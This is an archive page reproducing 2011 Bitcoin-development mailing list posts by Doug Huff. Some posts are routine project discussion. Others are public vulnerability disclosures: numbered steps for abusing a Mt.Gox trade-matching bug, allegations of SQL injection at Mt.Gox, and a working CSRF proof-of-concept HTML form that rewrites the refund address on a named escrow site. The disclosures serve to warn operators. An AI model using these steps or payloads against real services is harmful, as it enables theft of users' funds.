Doug Huff [ARCHIVE]

⚠️ This account is not associated with a real person. It's an archival account for mailing list messages.
🗓️ Active from 2011-06-15 to 2011-06-28
💬 Posted a total of 8 messages
📚 Participated in the following categories: Bitcoin-development
🔇 Please do not DM this user as it's used for archive purposes only.

Public Key

npub1u2s36t2ty2ska7aswtr6kewwla57z978cdjzqpcl8zc3naadx66sah63q3

Profile Code

nprofile1qqsw9gga949j9gtwlwc893atvh80760pzlruxepqqu0n3vge77knddgpzemhxue69uhhyetvv9ujumn0wd68ytnzv9hxgqg3waehxw309ahx7um5wgerztnrdakstl9nz2

Publishing to

relay.nostr.band

nostr21.com

Author Public Key

npub1u2s36t2ty2ska7aswtr6kewwla57z978cdjzqpcl8zc3naadx66sah63q3

Show more details

Last Notes

2023-06-07 01:59:07

- reply

📅 Original date posted:2011-06-28
🗒️ Summary of this message: Wallet crypto and import/export are crucial for v0.4 release, while autotools can wait, according to Jeff Garzik. Sipa's wallet import/export is in a functional state.
📝 Original message:sipa already rebased his showwallet tree. It's missing the segfault fix (or was yesterday) but said fix merges cleanly. I'm not entirely sure it's ready for pulling but it is in a functional state.
On Jun 28, 2011, at 12:48 PM, Jeff Garzik wrote:
> (copying part of a conversation from IRC)
>
> IMO, wallet crypto and wallet import/export are the two "must have"
> features for v0.4. wallet crypto rationale is obvious. sipa's wallet
> import/export might need a rebase, but it seems important for further
> wallet security, such as printing out and storing a private key in a
> bank's safety deposit box.
>
> autotools and other stuff can wait, if they hold up the release of
> wallet crypto.
>
> --
> Jeff Garzik
> exMULTI, Inc.
> jgarzik at exmulti.com
>
> ------------------------------------------------------------------------------
> All of the data generated in your IT infrastructure is seriously valuable.
> Why? It contains a definitive record of application performance, security
> threats, fraudulent activity, and more. Splunk takes this data and makes
> sense of it. IT sense. And common sense.
> http://p.sf.net/sfu/splunk-d2d-c2
> _______________________________________________
> Bitcoin-development mailing list
> Bitcoin-development at lists.sourceforge.net
> https://lists.sourceforge.net/lists/listinfo/bitcoin-development
--
Doug Huff
-------------- next part --------------
A non-text attachment was scrubbed...
Name: PGP.sig
Type: application/pgp-signature
Size: 881 bytes
Desc: This is a digitally signed message part
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20110628/e85b0c9e/attachment.sig>

2023-06-07 01:58:58

- reply

📅 Original date posted:2011-06-28
🗒️ Summary of this message: Doug Huff reported a live trade matching bug on mtgox.com to the Bitcoin Development mailing list, which was deemed irrelevant to core Bitcoin development.
📝 Original message:Begin forwarded message:
> From: Doug Huff <dhuff at jrbobdobbs.org>
> Date: June 27, 2011 11:28:28 PM CDT
> To: Gavin Andresen <gavinandresen at gmail.com>
> Subject: Re: [Bitcoin-development] Fwd: Live mtgox.com trade matching bug.
>
> Already talked to Jeff and agreed to stop posting them here. There is just currently no other forum for such reports. I think he was going to talk to you about starting a bitcoin-vendor-sec or similar list.
>
> I agree it does not belong there.
>
> On Jun 27, 2011, at 11:22 PM, Gavin Andresen wrote:
>
>> The bitcoin-development list is for discussion of core bitcoin
>> development, not about Mt.Gox or other sites or software that uses
>> bitcoin.
>>
>> --
>> --
>> Gavin Andresen
>
> --
> Doug Huff
>
>
--
Doug Huff
On Jun 28, 2011, at 1:35 AM, Mike Hearn wrote:
> Hi Doug,
>
> Could we keep the Mt Gox related stuff off bitcoin-development please?
> It's not related to the core software.
>
> On Tue, Jun 28, 2011 at 4:48 AM, Doug Huff <dhuff at jrbobdobbs.org> wrote:
>>
>>
>> Begin forwarded message:
>>
>>> From: Doug Huff <mith at jrbobdobbs.org>
>>> Date: June 27, 2011 9:46:13 PM CDT
>>> To: full-disclosure at lists.grok.org.uk, "Mt.Gox" <info at mtgox.com>
>>> Cc: Bitcoin Dev Development <bitcoin-development at lists.sourceforge.net>
>>> Subject: Live mtgox.com trade matching bug.
>>>
>>> Step 1: Have USD available for spending on mtgox.com.
>>> Step 2: Put in a buy order large enough to drain your account. Low enough under the current trading price that it will not execute immediately.
>>> Step 3: Withdraw all USD funds.
>>> Step 4: Wait for market to fall enough to meet your order.
>>> Step 5: ...(self explanatory)...
>>>
>>> There's a bit of luck in being able to take advantage, obviously.
>>>
>>> I would suggest you take the site down asap until this is corrected or publicly show how this order will never execute:
>>>
>>> ==========
>>> Welcome <username removed> 0.00000000 ฿TC 424.44901
>>> Buying 138468.901 0.01 Active 1384.69 06/26 15:27 cancel
>>> ==========
>>>
>>> I cannot guarantee this order will execute but from everything I've observed about the new trade matching code I have no reason to believe it will not.
>>>
>>> At the very least this could be used to influence market conditions if it is only a display bug.
>>>
>>> --
>>> Douglas Huff
>>>
>>>
>>
>> --
>> Doug Huff
>>
>>
>>
>> ------------------------------------------------------------------------------
>> All of the data generated in your IT infrastructure is seriously valuable.
>> Why? It contains a definitive record of application performance, security
>> threats, fraudulent activity, and more. Splunk takes this data and makes
>> sense of it. IT sense. And common sense.
>> http://p.sf.net/sfu/splunk-d2d-c2
>> _______________________________________________
>> Bitcoin-development mailing list
>> Bitcoin-development at lists.sourceforge.net
>> https://lists.sourceforge.net/lists/listinfo/bitcoin-development
>>
>>
--
Doug Huff
-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 3737 bytes
Desc: not available
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20110628/1d39d1a3/attachment.p7s>

2023-06-07 01:58:42

- reply

📅 Original date posted:2011-06-27
🗒️ Summary of this message: A bug in the trade matching code of mtgox.com allows users to withdraw all USD funds after placing a buy order that will drain their account.
📝 Original message:Begin forwarded message:
> From: Doug Huff <mith at jrbobdobbs.org>
> Date: June 27, 2011 9:46:13 PM CDT
> To: full-disclosure at lists.grok.org.uk, "Mt.Gox" <info at mtgox.com>
> Cc: Bitcoin Dev Development <bitcoin-development at lists.sourceforge.net>
> Subject: Live mtgox.com trade matching bug.
>
> Step 1: Have USD available for spending on mtgox.com.
> Step 2: Put in a buy order large enough to drain your account. Low enough under the current trading price that it will not execute immediately.
> Step 3: Withdraw all USD funds.
> Step 4: Wait for market to fall enough to meet your order.
> Step 5: ...(self explanatory)...
>
> There's a bit of luck in being able to take advantage, obviously.
>
> I would suggest you take the site down asap until this is corrected or publicly show how this order will never execute:
>
> ==========
> Welcome <username removed> 0.00000000 ฿TC 424.44901
> Buying 138468.901 0.01 Active 1384.69 06/26 15:27 cancel
> ==========
>
> I cannot guarantee this order will execute but from everything I've observed about the new trade matching code I have no reason to believe it will not.
>
> At the very least this could be used to influence market conditions if it is only a display bug.
>
> --
> Douglas Huff
>
>
--
Doug Huff
-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 3737 bytes
Desc: not available
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20110627/d3cb2cbe/attachment.p7s>
-------------- next part --------------
A non-text attachment was scrubbed...
Name: PGP.sig
Type: application/pgp-signature
Size: 881 bytes
Desc: This is a digitally signed message part
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20110627/d3cb2cbe/attachment.sig>

2023-06-07 01:58:32

- reply

📅 Original date posted:2011-06-27
🗒️ Summary of this message: A brief email exchange discussing the licensing of an Info.plist and BitcoinAppIcon.icns for inclusion in an upstream source repository.
📝 Original message:Begin forwarded message:
> From: solar <laszlo.hanyecz at heliacal.net>
> Date: June 27, 2011 5:09:12 PM CDT
> To: Doug Huff <dhuff at jrbobdobbs.org>
> Subject: Re: Bitcoin app bundle inclusion
>
> That's fine, I actually wanted to check it but wasn't sure where it belonged. There isn't any license, it's just public domain.
>
> Thanks,
> Laszlo
>
>
>
> On Jun 27, 2011, at 3:36 PM, Doug Huff wrote:
>
>> Hey Laszlo,
>>
>> We're just wanting to make sure that it's ok to include your Info.plist and BitcoinAppIcon.icns into the upstream source repository so that osx build can be automated without needing external source requirements (outside of lib deps).
>>
>> Is this licensed under MIT or similar or would you be willing to put it in the Public Domain or other compatible license.
>>
>> --
>> Doug Huff
>>
>>
>
--
Doug Huff
-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 3737 bytes
Desc: not available
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20110627/ce64e496/attachment.p7s>
-------------- next part --------------
A non-text attachment was scrubbed...
Name: PGP.sig
Type: application/pgp-signature
Size: 881 bytes
Desc: This is a digitally signed message part
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20110627/ce64e496/attachment.sig>

2023-06-07 01:58:10

- reply

📅 Original date posted:2011-06-27
🗒️ Summary of this message: Request to include Info.plist and BitcoinAppIcon.icns in upstream source repository for automated osx build. License inquiry.
📝 Original message:Hey Laszlo,
We're just wanting to make sure that it's ok to include your Info.plist and BitcoinAppIcon.icns into the upstream source repository so that osx build can be automated without needing external source requirements (outside of lib deps).
Is this licensed under MIT or similar or would you be willing to put it in the Public Domain or other compatible license.
--
Doug Huff
-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 3737 bytes
Desc: not available
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20110627/911f9ce7/attachment.p7s>
-------------- next part --------------
A non-text attachment was scrubbed...
Name: PGP.sig
Type: application/pgp-signature
Size: 881 bytes
Desc: This is a digitally signed message part
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20110627/911f9ce7/attachment.sig>

2023-06-07 01:57:48

- reply

📅 Original date posted:2011-06-21
🗒️ Summary of this message: Dozens of MTGOX hashed passwords were disclosed on a hash cracking forum in 2011, indicating a breach earlier than the official timeline.
📝 Original message:Oh ya, forgot this tidbit. Thanks gmaxwell!:
Not mentioned here is that fact that dozens of MTGOX hashed passwords were quietly disclosed on a hash cracking forum on Fri Jun 17, 2011 5:21 am
(http://forum.insidepro.com/viewtopic.php?t=9124&postdays=0&postorder=asc&start=75&sid=1a9e31567fe815c0eea63c40c39fb707 post by "georgeclooney")
Since the overwhelming majority but not all of the hashes match the mtgox database that was posted on this forum (now deleted) and elsewhere I suspect that this post may have been generated from an earlier dump than was disclosed on the forums and everywhere else after the big event.
This appears to be significantly ahead of the prior claimed breach, and is consistent with the great many other mtgox users claiming that their accounts were robbed prior to the big event on Sunday, which I believe would have been too early to be results of the mtgox database leak according to the official timeline re: auditor compromise.
On Jun 20, 2011, at 11:17 PM, Doug Huff wrote:
> I have two independent sources claiming known SQLi vulnerabilities in MtGox.
>
> One of said SQLi vulnerabilties was confirmed to be patched on the 16th.
> The other was not patched, to anyone's knowledge, at the time of the market crash and database leak. The one that was not patched could have plausibly been used to dump the user table.
>
> The details follow in these chat logs. POC for the referenced xss+csrf is also provided. Whether or not it is still an issue is not known for sure at this time as the site cannot be accessed.
>
> It has also been found that MtGox exposes it's admin user interface even if a user does not have the admin flag set on their account. As of now it is thought that most actions attempted to be used will throw permission errors. Once again. This cannot be confirmed at this time. https://mtgox.com/app/webroot/code/admin
>
> MagicalTux, now that your claim "The site was not compromised with a SQL injection as many are reporting, so in effect the site was not hacked." Please respond. The truth this time.
>
> MagicalTux's official response at the time of this writing is also attached. It is available at:
> https://support.mtgox.com/entries/20208066-huge-bitcoin-sell-off-due-to-a-compromised-account-rollback
>
> These logs are not modified except for user's hostmasks at their request due to MagicalTux's new found policy of committing libel against his users based on login logs, since he apparently doesn't keep order book logs for orders that go through immediately, by his own admission. Classy.
>
> Mirrors:
> http://privatepaste.com/93e8a9cd64 (#bitcoin-hax log)
> http://privatepaste.com/47a50cab5b (sig)
> http://www.mediafire.com/?m7o4z3oz9nyd3v3 (#bitcoin-hax log)
> http://www.mediafire.com/?nzcpa5mwpw9ccbb (sig)
> http://privatepaste.com/e4bacfae37 (PovAddict log)
> http://privatepaste.com/9dc5daf8a0 (sig)
> http://www.mediafire.com/?bflr76anvv835ib (PovAddict log)
> http://www.mediafire.com/?rl250c2dahw7dx9 (sig)
> http://privatepaste.com/6dad3927d6 (XSS + CSRF)
> http://privatepaste.com/45e5aa0d30 (sig)
> http://www.mediafire.com/?synt5sjcbkl9zvq (XSS + CSRF)
> http://www.mediafire.com/?uv7be34198pseoo (sig)
--
Doug Huff
-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 3737 bytes
Desc: not available
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20110620/11e15a1e/attachment.p7s>
-------------- next part --------------
A non-text attachment was scrubbed...
Name: PGP.sig
Type: application/pgp-signature
Size: 881 bytes
Desc: This is a digitally signed message part
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20110620/11e15a1e/attachment.sig>

2023-06-07 01:57:36

- reply

📅 Original date posted:2011-06-19
🗒️ Summary of this message: Multiple CSRF vulnerabilities in http://clearcoin.appspot.com, hosted on appspot and uses google account auth, have been reported.
📝 Original message:In light of recent events in the "bitcoin community" I have decided that private disclosure of issues is doing nothing but making them more prevalent.
In light of this decision I would like to report multiple CSRF vulnerabilities in http://clearcoin.appspot.com .
This set of CSRFs are particularly nasty since this is hosted on appspot and uses google account auth. So long as you stay logged into your google account you are vulnerable to this CSRF.
Things tested:
Changing refund address.
Releasing funds.
POC code (open this in any browser even from a local file):
==========
<html><head><title>test</title></head>
<body>
<form id="refund_address_form" action="https://clearcoin.appspot.com/set_refund_address" method="POST">
<label for="refund_address">Your bitcoin address:</label>
<input type="text" name="refund_address" id="refund_address" size="60" value="PUT ANY ADDRESS HERE"
class="text ui-widget-content ui-corner-all" autofocus required placeholder="refund bitcoin address"/> (required)
</form>
</body>
</html>
==========
Javascript auto submittal, hiding in an iframe, and other obfuscation methods are left as an exercise to the list.
This site is run and maintained by Gavin Anderson, aka, the lead bitcoin maintainer.
You should know better Gavin.
--
Douglas Huff
-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 3737 bytes
Desc: not available
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20110619/eb27ed0c/attachment.p7s>
-------------- next part --------------
A non-text attachment was scrubbed...
Name: PGP.sig
Type: application/pgp-signature
Size: 881 bytes
Desc: This is a digitally signed message part
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20110619/eb27ed0c/attachment.sig>

2023-06-07 01:55:43

- reply

📅 Original date posted:2011-06-15
🗒️ Summary of this message: Proposal for a new name for the Bitcoin client: "Reference client" or "Mainline client" to emphasize its status as the original implementation.
📝 Original message:On Jun 15, 2011, at 7:46 AM, Christian Decker wrote:
> On Wed, Jun 15, 2011 at 8:06 AM, Jeff Garzik <jgarzik at exmulti.com> wrote:
> Here are several mini-proposals for the Satoshi Client (anyone got a
> better nickname?) along these lines, which should better prepare the
> bitcoin protocol for the long term:
> I called it Mainline client (like the original Bittorrent client) as a hint that this is the reference implementation everybody should refer to, but Satoshi Client has a nice sound too :-)
I propose "Reference client." Seeing as that's what it is, the original reference implementation.
--
Douglas Huff
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20110615/aac13554/attachment.html>

2023-06-07 01:40:04

- reply